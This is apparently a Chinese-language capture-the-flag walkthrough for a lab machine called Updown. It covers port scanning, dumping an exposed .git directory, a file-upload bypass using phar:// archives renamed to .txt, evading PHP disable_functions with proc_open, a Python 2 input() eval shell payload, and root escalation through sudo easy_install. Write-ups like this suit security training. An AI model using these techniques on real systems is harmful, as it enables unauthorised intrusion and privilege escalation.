Updown

Updown
CH0ico1 | ip a |
01.信息搜集
靶机发现
目标靶机 ip 为 10.129.227.227
1 | fscan -h $TARGET > fscan.log |
02.渗透打点
端口扫描
1 | sudo nmap -sT -sV -sC -O -p 22,80 $TARGET -oA nmapscan/detail |
Apache/2 服务
看看 web 端
1 | siteisup.htb |
check 的 但是 127.0.0.1 会 waf
域名来了
1 | echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts |
爆破子域名和子目录先
1 | ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt \ |
抓包看看首页发的什么
1 | site=baidu.com&debug=0 |
这也 hacking 基本无效了
看看.git 泄漏
1 | git-dumper http://siteisup.htb/dev/.git ./web |
HTTP HEADER 要加 Special-Dev: only4dev
黑名单过滤然后会 delete 掉… php 好像没有内存马这种东西 upload 难道不对
看看子域名
1 | echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts |
1 | admin 权限不够 |
check 包
1 | POST / HTTP/1.1 |
php 不让对比 zip 压缩过滤
1 | foreach($websites as $site){ |
cURL 不只是 http/https,它还支持 phar://、gopher://、dict:// 等等。PHP 的 phar 协议可以在访问 phar/zip 压缩包时自动执行其中的 PHP 代码。而且——phar:// 不在 scheme 黑名单里
只需要把 .zip 重命名为 .txt 就能绕过。然后利用 PHP 的 phar:// 流包装器读取这个”txt”文件,PHP 依旧会把它当作 phar 归档来解析。如果 phar 中包含恶意序列化对象,反序列化时就会触发代码执行 (index.php?page=phar://uploads/…/rev.txt)
但是路径还得考虑时间戳 可能得先传一个用于获取时间戳?..
/uploads/ 目录列表已开启 — 上传后可以直接看到 hash 目录名
制作
1 | <?php |
1 | LFI: include($_GET['page'] . ".php") |
将生成的 phar 包改为.txt
上传
1 | curl -X POST http://dev.siteisup.htb/ \ |
132ea0854fde256edf9b5dfc1b487017
执行
1 | curl -s -H "Special-Dev: only4dev" \ |
权限不够是什么鬼(
看看 info
1 | curl -X POST http://dev.siteisup.htb/ \ |
说明是可行的 但是弹不出 shell 是这个权限问题(配置)
1 | grep -oE 'disable_functions.*?</tr>' info.html | sed 's/<[^>]*>//g' |
proc_open 没有被禁
直接 fork 一个 /bin/bash 子进程。子进程不受 PHP disable_functions 约束
www-data
developer:x:1002:1002::/home/developer:/bin/bash
1 | www-data@updown:/home/developer$ ls -liah |
他怎么有 dev 可能是本地开发的?
1 | 261147 -rwsr-x--- 1 developer www-data 17K Jun 22 2022 siteisup |
www-data可以执行 那就 siteisup_test.py 作为反弹 shell 执行
Python 2 的 input() 等价于 eval(raw_input()),会把输入当 Python 代码执行。这就是突破口。
果 python 脚本没有引入 os 库,payload 如下:__import__('os').system('/bin/sh')
1 | ./siteisup_test |
USER
1 | cat user.txt |
install 什么的
1 | cat /usr/local/bin/easy_install |
easy_install 是 Python 的包安装工具。运行 sudo easy_install /some/dir 时,它会在那个目录找 setup.py 并执行里面的 Python 代码
1 | developer@updown:~$ cd /tmp && mkdir expl && cd expl |













